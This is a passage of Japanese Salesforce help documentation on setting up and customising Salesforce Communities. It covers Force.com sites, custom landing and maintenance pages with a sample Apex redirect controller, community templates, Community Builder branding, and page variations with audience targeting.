Site.com ページの URL の決定
コミュニティタブへの認証された Site.com ページの追加
非公開 Site.com ページを作成したら、ページをコミュニティのタブに追加できます。
コミュニティの Site.com ページへの Chatter ニュースフィードまたはグループフィードの追加
Chatterニュースフィードを使用して、Chatterフィードをサイトページに表示したり、Chatterグループフィー
ドを使用して、特定のグループのフィードを表示したりします。
コミュニティの Site.com における HTML ページキャッシュのパフォーマンスの向上
HTML キャッシュを使用すると、生成されたページマークアップを再読み込みする頻度を制御することで、
コミュニティの Site.com サイトのパフォーマンスとページ表示を向上することができます。

関連トピック:

コミュニティビルダーまたは Force.com サイトの選択
Site.com を使用したコミュニティのカスタマイズ
Salesforce Communities の概要

Visualforce および Force.com サイトの使用
各コミュニティには、コミュニティの高度なカスタマイズを可能にするForce.comサイトが 1 つ関連付けられて
います。たとえば、Force.com サイトを使用して次のことができます。
• ログインを必要としない公開ページをコミュニティに追加する。
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• ブランド化したセルフ登録ページとログインページを使用して、ユーザがコミュニティへの登録やログイ
ンをできるようにする。

• 「Authorization Required (401)」や「Page Not Found (404)」などの標準エラーページをカスタマイズしてコミュニ
ティのブランドを反映する。

• Visualforce ページを利用してコミュニティメンバーのみがアクセスできる非公開ページを作成する。
Force.com サイトの使用についての詳細は、オンラインヘルプを参照してください。

ヒントと検討事項
• Force.com サイトページには、[コミュニティを作成] ウィザードで指定したブランドのスタイルが自動的に

含まれます。これらのスタイルを無効化するには、<apex:page> タグの standardStylesheets 属性を
false に設定します。

• コミュニティで Force.com サイトを使用する場合は、次の点を考慮してください。
– 標準の RSS フィード、分析追跡、およびカスタムポータルプロファイルページは使用できません。
– カスタムのパスワードの変更ページは使用できません。
– カスタムドメインへのログインは、HTTPS でのみ使用できます。

• Force.com サイトは Force.com 組織から直接提供されるため、サイトの可用性は組織の可用性に直接関連しま
す。メジャーリリースのための組織のメンテナンス実施時間の間、サイトは使用できません。サイトにア
クセスしようとすると、Force.comブランドのメンテナンスページ、またはカスタムの [サービスは利用でき
ません] ページが表示されます。

• コミュニティホームページをそのコンパニオンSite.comホームページにリダイレクトできます。そのために
は、Force.com サイトの詳細ページで、[URL リダイレクト] を設定します。[リダイレクト元 URL] をコミュニ
ティのホームページを表す /、[リダイレクト先 URL] を Site.com サイトのホームページを表す s に設定しま
す。

関連トピック:

コミュニティビルダーまたは Force.com サイトの選択
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カスタムコミュニティページ

カスタムページによるコミュニティのデフォルトページの上書き

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

会社のブランド入りのコミュニティホームページと [サービスは利用できません]

ページを使用するには、コミュニティの標準ページを上書きします。
• カスタムコミュニティホームページの使用
• サービスが使用できないことを示すカスタムページの使用
コミュニティのSite.comまたはForce.com設定で、他のデフォルトのコミュニティ
ページを上書きできます。これを行うには、コミュニティワークスペースまた
は [コミュニティ管理] を開きます。次に、[管理] で [ページ] をクリックし、
[Force.com に移動] または [Site.com Studio に移動] をクリックします。Site.com ま
たはForce.com設定で以前指定されたページは、[コミュニティ管理]またはコミュ
ニティワークスペースで選択したページで自動的に上書きされます。

サービスが使用できないことを示すカスタムページの使用
まれに、サービスが停止しているためにコミュニティが使用できない場合に、
SalesforceにForce.comブランド情報のある汎用の [サービスは利用できません] ペー
ジが表示されます。このページを会社のブランド情報を使用したカスタムの静
的リソースページに置き換え、コミュニティメンバーにパーソナライズされた
ユーザ環境を提供できます。
[サービスは利用できません] 静的リソース
• 1 MB 以下の公開 .zip ファイルである必要があります。
• .zip ファイルのルートレベルに maintenance.html という名前のページを含める必要があります。画像や

CSS ファイルなどの、.zip ファイル内のその他のリソースは、ディレクトリ構造上の制限はありません。
• ファイルの拡張子を持つファイルだけを含む必要があります。
詳細は、Salesforce ヘルプの「Force.com サイトエラーページの割り当て」を参照してください。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ページ] に移動します。
3.

[サービスは利用できません] の横にある をクリックして、カスタムページを検索および選択します。
4. [保存] をクリックします。
サービスが停止するたびに、選択したページがコミュニティに表示されます。次の点に留意してください。
• このページの選択は、Site.com Studio ページを使用するコミュニティには影響しません。
• カスタマイズした [サービスは利用できません] ページは、同じドメイン内のすべてのコミュニティで使用

されます。組織のニーズによっては、これは望ましくない場合があります。ドメイン内のすべてのコミュ
ニティで同じページを使用することを避けるには、コミュニティごとに個別の [サービスは利用できません]

ページを作成して割り当てます。
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たとえば、ドメイン内にカスタマーコミュニティ (universaltelco.force.com/customer) とパートナー
コミュニティ (universaltelco.force.com/partner) の 2 つのコミュニティがあるとします。カスタマー
コミュニティのみに対するカスタムの [サービスは利用できません] ページを使用し、パートナーコミュニ
ティに個別の [サービスは利用できません] ページを作成して割り当てていない場合は、サービスの停止中
にパートナーコミュニティに同じページが表示されます。

関連トピック:

カスタムページによるコミュニティのデフォルトページの上書き

カスタムコミュニティホームページの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

カスタムコミュニティビルダー (Site.com Studio) または Visualforce ページを使用し
て、標準のコミュニティホームページを会社のブランド情報でカスタマイズし
ます。
コミュニティホームページは、公開コミュニティで認証されていないユーザに
表示され、リダイレクトを設定することなくゲストユーザのランディングペー
ジを指定できます。このページは、「有効なサイトのホームページ」とも呼ば
れます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ページ] をクリックします。
3. コミュニティホームページの場合

a. [コミュニティビルダー] または [Visualforce] のページ種別を選択します。
b. ページの名前を入力するか、項目を空白のままにして使用可能なオプショ

ンのリストを取得します。
c. をクリックし、検索結果でページの名前をクリックして選択します。

メモ: 検索結果には、公開済みのコミュニティビルダー (Site.com Studio)

ページのみが含まれます。

4. [保存] をクリックします。
Site.com または Force.com サイトのプロパティで以前に指定されたページの選択は、自動的に [管理] で選択した
ページで上書きされます。

関連トピック:

デフォルトのコミュニティのログインページでのカスタムホームページ使用の設定
カスタムページによるコミュニティのデフォルトページの上書き

3986

カスタムコミュニティページSalesforce Communities の設定および管理



デフォルトのコミュニティのログインページでのカスタムホームページ使用の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[コミュニティ管理]または
コミュニティワークス
ペースにアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

Apex クラスを編集する
• 「Apex 開発」

外部認証プロバイダとカスタムホームページを使用している場合、ユーザが正
しいホームページにアクセスしていることを確認します。
そのためには、CommunitiesLandingController を編集して、コミュニティ
の startURL を正しく設定する必要があります。CommunitiesLandingPage

が、コミュニティの「有効なサイトのホームページ」です。つまり、コミュニ
ティにダイレクト URL が入力されると、このページが表示されます。たとえば、
ドメインが universaltelco.force.comで、コミュニティ URL が customers

の場合、「http://universaltelco.force.com/customers」と入力される
と CommunitiesLandingPage が表示されます。
カスタムホームページを使用する方法は 2 つあります。
• CommunitiesLandingController コードを更新して新しいページにリダ

イレクトします。
1. [設定] から、[クイック検索]ボックスに「Apex クラス」と入力し、[Apex

クラス] を選択します。
2. CommunitiesLandingControllerの横にある [編集]をクリックします。
3. コードを置き換えて次のようにします。

public with sharing class CommunitiesLandingController {
// Code we will invoke on page load.

public PageReference forwardToStartPage() {
String communityUrl = 'https://universaltelcom.force.com';
String customHomePage = '/apex/hello';
if (UserInfo.getUserType().equals('Guest')) {

return new PageReference(communityUrl + '/login?startURL=' +
EncodingUtil.urlEncode(customHomePage, 'UTF-8'));

}else {
return Network.communitiesLanding();

}
}
public CommunitiesLandingController() {}

}
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4. https://universaltelcom.force.com をコミュニティの URL で置き換えます。
5. [保存] をクリックします。

• または、有効なサイトのホームページをカスタム Visualforce ページで置き換えることもできます。
1. [設定] から、[クイック検索]ボックスに「すべてのコミュニティ」と入力し、[すべてのコミュニティ]を

選択します。
2. コミュニティ名の横にある [管理] ボタンをクリックします。
3. [管理ページ] > [Force.com に移動] をクリックします。
4. [サイトの詳細] セクションで、[編集] をクリックします。
5. [有効なサイトのホームページ] 項目で、カスタム Visualforce ページを選択します。
6. [保存] をクリックします。

ユーザがコミュニティ URL を入力すると、新しい有効なサイトのホームページが表示されます。

関連トピック:

カスタムコミュニティホームページの使用

ログインを要求しないカスタムページの追加
コミュニティ内では、ログインを行わずにアクセスできる公開ページを持つことができ、それらは使いやすい
リンク先ページまたはマーケティングページにすることができます。
コミュニティは Force.com サイトの技術を活用して組織のカスタムドメインを設定し、組織内に作成されたコ
ミュニティごとに URL プレフィックスを設定します。設定時に使用可能な設定以外のカスタマイズをコミュニ
ティに行う場合、Force.comサイトまたはSite.comを使用して完全にカスタマイズされたページを作成できます。

ヒント: コミュニティでは、Visualforce ページと Site.com ページを組み合わせて使用できます。デフォルト
では、作成するページではログインが要求されませんが、必要に応じて認証ページを追加できます。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [ページ] をクリックし、[高度なカスタマイズ] 領域で、次のいずれかをクリックします。

• [Force.comに移動]を使用して、ログインが要求されないページを作成するか、標準のエラーページを編
集します。

• [Site.com Studio に移動] を使用して Site.com Studio を開き、ブランド情報入りの公開用ページを作成でき
ます (ログインを要求する認証ページを作成することもできます)。

3. Site.com Studio で公開ページを作成した後、Site.com サイトを公開してユーザがそのページにアクセスできる
ようにする必要があります。
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コミュニティテンプレート

使用すべきコミュニティテンプレートは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティテンプレートにより、顧客にタブレット、モバイルデバイス、ま
たはデスクトップで視覚的および機能的に同じ環境を提供するコミュニティを
作成できます。
顧客は、時間や場所を問わず会社とやりとりできる簡単な方法を求めています。
セルフサービスコミュニティでは、問題の生じた顧客が必要な情報に簡単にア
クセスできます。Koa および Kokua テンプレートで構築されたコミュニティでは、
顧客がナレッジ記事を使用して情報を検索し、必要に応じてサポートに問い合
わせることができます。カスタマーサービス (Napili) テンプレートを使用して作
成したコミュニティで、記事を検索したり、質問をしたり、コミュニティから
不特定多数のユーザから回答を得たりすることができます。それでも必要な情
報が見つからない場合は、ログインすることなくサポートに問い合わせること
ができます。セルフサービステンプレートによって、常に一貫性のあるユーザの操作性でさまざまなデバイス
にコミュニティを拡張できます。

ウィザードでは、テンプレートを選択した後、説明に従ってトピックおよびデータカテゴリ設定などの初期設
定を行うことができます。
• Kokua は、データカテゴリ別に分類されたナレッジ記事をユーザに表示する、視覚的に豊かなセルフサービ

ステンプレートです。ユーザはケースを送信してエージェントのサポートを得ることもできます。
• Koa は、モバイルデバイス用に最適化された、テキストベースのセルフサービステンプレートです。ユーザ

はテキスト表記されたデータカテゴリで記事を検索して参照し、探している内容が見つからない場合はサ
ポートに問い合わせることができます。

• カスタマーサービス (Napili) テンプレートにより、顧客はコミュニティへ質問を投稿したり、記事の検索や
表示をしたりすることができます。必要な情報が見つからない場合は、サポートエージェントに問い合わ
せることができます。

コミュニティビルダーを使用すると、コミュニティを非常に簡単にカスタマイズできます。コミュニティに関
する情報を含めるためのコンポーネントをいくつか編集し、ブランド設定を拡張するために画像を追加すれば
完了です。コーディングの必要はありません。さらに多くのカスタム操作が必要な場合は、カスタムページの
作成、ページへのコンポーネントの追加、カスタム Lightning コンポーネントの使用、および追加のSalesforceオ
ブジェクトの公開を行うことができます。
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コミュニティはログインユーザのプロファイル言語で自動的に表示されるため、言語ごとに個別のコミュニ
ティを作成して維持する必要はありません。コミュニティビルダーを使用すれば、コミュニティでゲストユー
ザへの言語サポートを拡張できます。ゲストユーザの言語がサポートされていない場合は、各コミュニティ
ページの言語ピッカーから言語を選択できます。すべての言語はコミュニティ内で管理されているので、言語
ごとに個別のコミュニティを作成し管理する必要はありません。

コミュニティでのページの設定とカスタマイズ
ページは、コミュニティのビルディングブロックです。ユーザがコミュニティを表示して操作する方法を
制御します。

関連トピック:

コミュニティの作成
コミュニティテンプレートで使用できる機能の比較
コミュニティでのページの設定とカスタマイズ

コミュニティテンプレートで使用できる機能の比較
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テンプレートを使用してコミュニティを構築することを検討していますか? 次
に、各コミュニティテンプレートで使用できる機能の主な違いを示します。使
用するテンプレートを決定する前に、これらの機能を比較してください。

機能の比較

Salesforce タ
ブ +
Visualforce

カスタマー
サービス
(Napili)

KokuaKoa

すべての
Salesforce オブ
ジェクト

取引先

キャンペーン

ケース

コミュニティ
ビルダー

コミュニティ
ディスカッ
ション
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Salesforce タブ +
Visualforce

カスタマーサービス
(Napili)

KokuaKoa

取引先責任者および
Shared Contacts

取引先責任者-to-複数
取引先

カスタムオブジェク
ト

Lightning コンポーネ
ントを使用したカス
タマイズ

Visualforceを使用した
カスタマイズ

推奨推奨必須必須
Salesforce ナレッジ

知識のあるユーザ

リード

メモ

商談

モバイル用に最適化

注文

質問-to-ケース

おすすめ

評価

トピック

トレンド記事

関連トピック:

実装ガイド: テンプレートを使用したコミュニティの作成
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コミュニティテンプレートの標準のコンポーネントおよびページで
サポートされるオブジェクト
コミュニティビルダー駆動型テンプレートの標準のコンポーネントおよびページでサポートされるすべてのオ
ブジェクトのリストを確認します。
テンプレートのサポートされるオブジェクトについて言及する場合、次に示すようにそのオブジェクトページ
で標準のコンポーネントを使用できることを意味します。
API 参照名は括弧内に示されます。

••• レコード作成ボタンナビゲーションメ
ニュー

見出し
• •レコードバナー レコード作成フォーム

• オブジェクトのホーム
ページ

• レコードの詳細
• レコード情報タブ
• 関連レコード

Account (Account)

Activity History (ActivityHistory)

Approval History
(ProcessInstanceHistory)

Approval Process Work Item
(ProcessInstanceWorkitem)

Approval Step
(ProcessInstanceStep)

Asset (Asset)

Campaign (Campaign)

Campaign member
(CampaignMember)

Case (Case)

Contact (Contact)

カスタムオブジェクト
Dashboard (Dashboard)

Email Message (EmailMessage)

Event (Event)

外部オブジェクト
Group (CollaborationGroup)

Lead (Lead)
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••• レコード作成ボタンナビゲーションメ
ニュー

見出し
• •レコードバナー レコード作成フォーム

• オブジェクトのホーム
ページ

• レコードの詳細
• レコード情報タブ
• 関連レコード

Note (Note and
NoteAndAttachment)

Open Activity (OpenActivity)

Opportunity (Opportunity)

Opportunity Contact Role
(OpportunityContactRole)

Opportunity Product
(OpportunityLineItem)

Opportunity team member
(OpportunityTeamMember)

Product (Product2)

Report (Report)

Service Appointment
(ServiceAppointments)

Shared Contacts
(AccountContactRelationship)

Task (Task)

User (User)

Work Order (WorkOrder)

Work Order line item
(WorkOrderLineItem)

メモ: オブジェクトをコミュニティで検索するには、そのオブジェクトが Lightning Experience で検索可能
で、コミュニティテンプレートでサポートされている必要があります。
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カスタマーサービス (Napili)テンプレート — コミュニティ設定チェッ
クリスト

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティを作成するには、調査、目標の対応付け、および利用者の定義が
必要です。同時に、実際の実装プロセスがシームレスになるように、すべての
準備を整える必要があります。自分の組織を十分に理解している場合でも、こ
の一般的なチェックリストによって、カスタマーサービス (Napili) テンプレート
を使用するコミュニティに必要な内容を整理できます。
このリストのすべての内容を考慮しましたか?

作業を開始する前に
ブランドアセットの収集

会社のロゴの高解像度画像
配色 (またはアップロードして配色を自動的に生成するための画像)。
ヘッダーとして使用する画像。
サムネイル画像 (385x385 ピクセル) (主要トピックを使用している場合)。

内部 Salesforce 組織
Salesforce Communities の有効化。一度設定すると変更できないため、ビジネスにとって適切な一意の URL を

選択してください。
コミュニティとそのメンバー間のコミュニケーション (お知らせメール、パスワードのリセットメールなど)

用のメールテンプレートの設定。
システム管理者プロファイル、および内部組織からコミュニティにアクセスできる他のプロファイルでの

コミュニティのグローバルヘッダーの有効化。
コミュニティで使用する Service Cloud 機能 (Salesforce ナレッジなど) の有効化。
プロファイルの確認および必要に応じて権限セットの追加。
Web-to-ケースの設定。

Salesforce ナレッジを使用している場合
データカテゴリの確認。
ナレッジ記事タイプのフィード追跡の有効化。

コミュニティの作成時
内部 Salesforce 組織

コミュニティへのメンバーの追加。
ゲストユーザプロファイルの設定 (コミュニティビルダーまたは [コミュニティ管理] を使用してアクセス)

ケースオブジェクトの「参照」および「作成」権限の付与。
 Salesforce ナレッジを使用している場合、ゲストに対するデータカテゴリへのアクセス権の付与。
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[コミュニティ管理] またはコミュニティワークスペース
ナビゲーショントピックとサブトピックの設定、および各トピックへの記事の関連付け。
主要トピックおよび関連画像の設定。
 AppExchange からの最新の Salesforce Communities Management のダウンロード。
モデレーション条件およびルールの設定。
評価の有効化と設定。

コミュニティビルダー
会社のブランド設定に合わせたコミュニティのカスタマイズ。
デザインとコンテンツをカスタマイズする標準およびカスタム Lightning コンポーネントの追加。

コミュニティの作成後
フィードバック用の内部 Chatter グループの設定、およびプレビューモード中のコミュニティの機能制限ト

ライアルへのユーザの招待。
フィードバックの取り込み、およびコミュニティの公開。
コミュニティへのいくつかの初期コンテンツ (お知らせ投稿、グループ、関連性の高い記事や面白い記事)

の追加。

コミュニティビルダーを使用したテンプレートのカスタマイズ

コミュニティビルダーの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティビルダーとセルフサービス用コミュニティテンプレートを使用す
れば、モバイルデバイスに適したカスタムコミュニティを作成、ブランド設定、
公開できます。テンプレートを選択してコミュニティをすばやく開始し、会社
のブランド設定に合わせてページのスタイルを設定できます。
コミュニティビルダーでは、次のことができます。
• 会社のブランド設定に合わせて簡単にコミュニティのスタイルを設定する。
• コミュニティビルダーでコミュニティページおよびコンポーネントを編集

し、ページのデザインとコンテンツをカスタマイズする。
• コミュニティをプレビューし、さまざまなデバイスに正しく表示されること

を確認する。
• 変更を公開してコミュニティの全員が使用できるようにする。
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既知の制限
• コミュニティビルダーでは、事前定義されたいずれのテンプレートも使用せずに作成されたコミュニティ

のブランド設定はサポートされていません。

関連トピック:

コミュニティビルダーのナビゲーション
コミュニティビルダーでのコミュニティの設定の管理

コミュニティビルダーのナビゲーション
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および設定」

コミュニティビルダーを使用すると、カスタムコミュニティをすばやく作成し、
組織のブランド設定に合わせてスタイルを設定できます。
コミュニティビルダーにアクセスする手順は、次のとおりです。
• コミュニティワークスペースまたは [コミュニティ管理] のグローバルヘッ

ダーメニューから [コミュニティワークスペース] > [ビルダーに移動] または
[コミュニティ管理] > [コミュニティビルダーに移動] をクリックします。

• [設定] の [すべてのコミュニティ] ページで、コミュニティ名の横にある [コ
ミュニティワークスペース] または [ビルダー] をクリックします。コミュニ
ティワークスペースで [ビルダー] をクリックします。

• コミュニティから、プロファイルメニューで [コミュニティビルダー] をク
リックします。

コミュニティビルダーでは、次のことができます。
• Lightning コンポーネントをページ (1) にドラッグアンドドロップする。[コン

ポーネント] パネルには AppExchange のカスタム Lightning コンポーネントが含
まれます。

• 組織のスタイルに合わせてコミュニティのブランドを設定する (2)。
• 現在のページにすべてのコンポーネントを表示する。コンポーネントを選択してそのプロパティを編集し

ます (3)。
• コミュニティ設定を編集し、コミュニティのテンプレートへの更新を受け入れる (4)。
• [コミュニティ] メニュー (5) を使用して次の操作を実行できます。

– コミュニティが有効になったら、コミュニティへ移動する。
– コミュニティワークスペースまたは [コミュニティ管理] を開き、コミュニティの分析、ログイン、登

録、評価、トピック、その他の設定を管理する。
– [設定] に戻る。

• [ページ] メニューおよび [ページのバリエーション] メニューを使用して、編集するコミュニティページに
移動する (6)。各ページのページの [プロパティ] で、ページの管理、作成、削除、表示設定を行います。

• さまざまなデバイスでコミュニティがどのように表示されるかを確認 (7) する。
• 新しいブラウザウィンドウでコミュニティをプレビューする (8)。
• 変更を公開してコミュニティの全員が更新を使用できるようにする (9)。
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関連トピック:

コミュニティビルダーの概要
コミュニティビルダーでのコミュニティの設定の管理

コミュニティビルダーを使用したコミュニティのブランド設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および設定」

コミュニティビルダーの [ブランド] パネルを使用して、色やスタイルをコミュ
ニティに効率的に適用します。カラー化された幅広いテキスト要素を備えたカ
ラーパレットで配色を選択し、デザインをカスタマイズします。独自のロゴ画
像をアップロードし、カスタムカラーパレットを自動的に生成すると、画像ど
おりの色が再現されます。
各テンプレートには、ページの外観を制御する定義済みスタイルが含まれます。
これらのスタイルを使用してコミュニティをすばやく作成し、ニーズに合わせ
てスタイルを簡単かつ詳細にカスタマイズできます。コミュニティを作成した
ら、コミュニティビルダーの [ブランド] パネルを使用してページにブランドと
スタイルを設定します。
選択したテンプレートに応じて、コミュニティビルダーで次の操作を実行でき
ます。
• カラーパレットを使用して、テンプレートに適した配色を適用する。
• テキスト、境界線の色、およびボタンの背景色を選択する。
• 会社独自のロゴ画像をアップロードして、そのメインの色に基づくカスタム

カラーパレットを生成する。
• フォントのファミリ、スタイル、および太さを指定する。
• ヘッダーおよびページの背景色、フォントファミリ、フォントサイズ、およびフォントの色を変更する。
• カスタム CSS を使用して独自のスタイルを適用する。
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独自のロゴを [ブランド] パネルにアップロードすると、コミュニティビルダーがその色を自動的に抽出し、そ
れをベースに一連の色を提案します。提案された色を変更する場合は、色見本をクリックし、スライダを使用
するか、16 進値を入力して色を調整します。

コミュニティにブランドを設定する手順は、次のとおりです。
1. 上部のツールバーの [ページ] メニューで、ブランド設定するページを選択します。
2. ブランドを定義します。

変更内容は自動的に保存され、すぐにページキャンバスに表示されます。

または、独自の CSS スタイルを使用するには、[ブランド] パネルにある をクリックします。テンプレート
コンポーネントの今後のリリースですべての CSS カスタマイズがサポートされるとは限らないため、CSS は必
要な場合に限り慎重に使用することをお勧めします。

関連トピック:

コミュニティビルダーの概要
コミュニティビルダーを使用したコミュニティのプレビュー
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コミュニティビルダーでのコミュニティのページとそのプロパティ
の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

[ページ] メニューとページのプロパティで、ページの作成から利用者の条件に基
づくページ表示までページに関する必要なあらゆる作業を一元化します。
[ページ] メニュー (1) から次の操作を実行できます。
• ページを検索して、  (2) をクリックし、そのプロパティを編集する (3)。
• 選択したページの別のバリエーションを作成し、カスタマーサービス (Napili)

で利用者の条件に基づくページ表示を設定する (4)。
• カスタムページを作成する (5)。
• 選択したページとそのバリエーションを削除する (6)。
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コミュニティビルダーを使用したカスタムページの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティビルダーで
ページを作成する
• 「コミュニティの作成

および管理」

カスタムページを作成し、カスタムのレコード詳細、リスト、関連リストペー
ジを追加してコミュニティテンプレートを拡張することで、Salesforce データを
最大限に活用します。
1. コミュニティビルダーの上部のツールバーで [ページ] メニューを開きます。
2. [ページ] メニューの下部の [新規ページ] をクリックします。

3. ページを作成する手順は、次のとおりです。
• 空白のレイアウトまたは事前設定されたページ (使用可能な場合) に基づく標準ページについては、[標準

ページ] をクリックします。
事前設定されたページがない場合、空白のレイアウトを選択します。または、(カスタムページのエク
スポートまたはインポートを行ったため) 事前設定されたページがある場合、カスタマイズするページ
を選択するか、[新しい空白のページ] をクリックして空白のレイアウトを選択します。
[次へ] をクリックし、ページに一意の名前を付けて、ページの URL の静的部分を指定します。

• いずれかのSalesforceオブジェクトに関連付ける詳細、リスト、関連リストページについては、[オブジェ
クトページ]をクリックします (カスタマーサービス (Napili)のみ)。ページに関連付けるオブジェクトを選
択します。
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4. [作成] をクリックします。
レイアウトに基づくカスタムの標準ページは、[ページ] メニューの [私の Apex ページ] に表示されます。デ
フォルトのテンプレートページに基づくページは、その [ページのバリエーション] セクションに表示され
ます。

カスタムオブジェクトページは、[ オブジェクトのページ] に表示されます。
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5. 標準ページを開くには、そのページを選択します。オブジェクトページを開くには、[ページのバリエー
ション] セクションの [ ] > [編集] をクリックします。

6. ページコンポーネントを追加して設定します。
7. カスタマーサービス (Napili) テンプレートを使用している場合は、ページの表示設定を行います。
8. 終了したら、コミュニティをプレビューして公開します。

ヒント:

• ページのプロパティの [ページのバリエーション] タブでページの代替バージョンをすばやく作成でき
ます。たとえば、3 つの異なる [質問の詳細] ページを作成してさまざまなレイアウトやスタイルを試
したり、別々の利用者に割り当てたりすることができます。ページバリエーションを作成するには、
[ページのバリエーション] タブの [新しいページのバリエーション] をクリックします。

[ ] > [複製] をクリックして、ページのバリエーションを複製することもできます。
• 新規ページのカスタムナビゲーションノードを作成するには、[ナビゲーションメニュー] コンポーネ

ントを使用します。テンプレートとコンポーネントについての詳細は、「テンプレートを使用したコ
ミュニティの作成」を参照してください。

ページとグループに対するページバリエーションと利用者ターゲティ
ング

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

条件に基づくページ表示を使用すると、ページのさまざまなバージョンを作成
でき、特定の利用者およびグループに公開できます。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

ページのバリエーション
ページのバリエーションは、ページの代替バージョンです。ページのバリエー
ションを使用して他のページレイアウトやスタイルを試したり、特定の利用者
を対象にしたバリエーションを作成したりできます。カスタムページなど、コ
ミュニティのすべてのページにデフォルトのページのバリエーションが 1 つ必
要です。ページの [ページのバリエーション] タブでバリエーションを必要なだけ追加できます。
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また、ページのバリエーションの複製もできます。若干の違いのみのページのバリエーションを作成する場合
は、複製すると時間が制約できます。
ページのバリエーションに特定の利用者条件を割り当てることで、特定のメンバーのセットを対象とすること
ができます。条件には次の項目が含まれます。
• Profile

• 場所
• レコードタイプ
必要に応じて複数のプロファイルをバリエーションに追加できます。また、プロファイルをバリエーションに
追加しないこともできます。
場所条件を設定する場合のいくつかの考慮事項を次に示します。
• 場所はユーザの IP アドレスに基づくものであり、近隣の市町村に存在する可能性があります。
• Developer Edition 組織では、場所権限はデフォルトで有効ではありません。このエディションでこの機能を

使用する場合は、Salesforce にお問い合わせください。
• Google API の使用を許可していない国では、場所条件は機能しません。

例: たとえば、金融サービスコミュニティがあり、クライアントとブローカーにそれぞれのプロファイル
に基づいて異なるホームページを表示するとします。ホームページのバリエーションを 2 つ作成し、それ
ぞれのコンテンツの対象を特定の利用者 (この場合はクライアントとブローカー) にして、各ページの表示
を異なるプロファイルに設定します。すべてのメンバーは同じ URL に移動しますが、顧客には [ホーム A]

が表示され、仲介者には [ホーム B] が表示されます。

ユーザと表示内容の詳細
[ページマネージャ] で必要なページのバリエーションを作成したら、その表示の設定ができます。3 つの表示
オプションのいずれかを選択し、そのオプションとページの公開状況を組み合わせることで、ページがコミュ
ニティメンバーに表示されるかどうかが決まります。
デフォルト: プロファイルで設定されていない場合はすべてのユーザ

ページが公開されると、プロファイルが別のページバリエーションに割り当てられているメンバーを除く、
すべての有効なコミュニティメンバーに表示されます。各ページにデフォルトのページのバリエーション
が 1 つ必要です。

プロファイル別
ページが公開されると、選択されたプロファイルを持つユーザにのみ表示されます。
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なし
ページが公開されても、ユーザには表示されません。

コミュニティのページおよびグループに対する利用者ターゲティン
グの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティをカスタマ
イズまたは公開する
• 「コミュニティの作成

および設定」

利用者の条件を組み合わせて、コミュニティメンバーにどのページを表示する
かを制御し、カスタムエクスペリエンスやカスタムグループを作成します。

メモ: この機能は、カスタマーサービス (Napili) テンプレートの Winter '16 以
降のバージョンで使用できます。

利用者の条件をページのバリエーションに割り当てる手順は、次のとおりです。
利用者の条件を使用する場合の詳細や考慮事項については、「ページとグルー
プに対するページバリエーションと利用者ターゲティング」を参照してくださ
い。
1. ページマネージャで、編集するページを選択します。

2. ページ名にマウスポインタを置くと、省略記号が表示されます。
3. 省略記号をクリックすると、ページオプションが表示されます。
4. [ページのバリエーション] タブを開きます。
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5.
[アクション] の下で、[ ] > [利用者の条件を設定] をクリックします。

6. 利用者に適用する条件を選択します。
7. 表示設定を更新する手順は、次のとおりです。

• 未公開ページの場合は、[保存]をクリックします。表示の変更はコミュニティを公開するまで有効にな
りません。

• 公開済みページのバリエーションの場合は、[表示の変更を公開]をクリックします。表示の変更は直ち
に有効になりますが、他の保留中の変更は別途公開する必要があります。

ページのバリエーションの表示を [デフォルト] に設定するには、[ ] > [表示をデフォルトに設定]をクリック
します。
ページのバリエーションの表示を [なし] に設定するには、割り当て済みプロファイルを削除するか、他のバリ
エーションの表示を [デフォルト] に設定するかのいずれか適切な方を選択します。

コミュニティ内の各ページの公開アクセスの制御
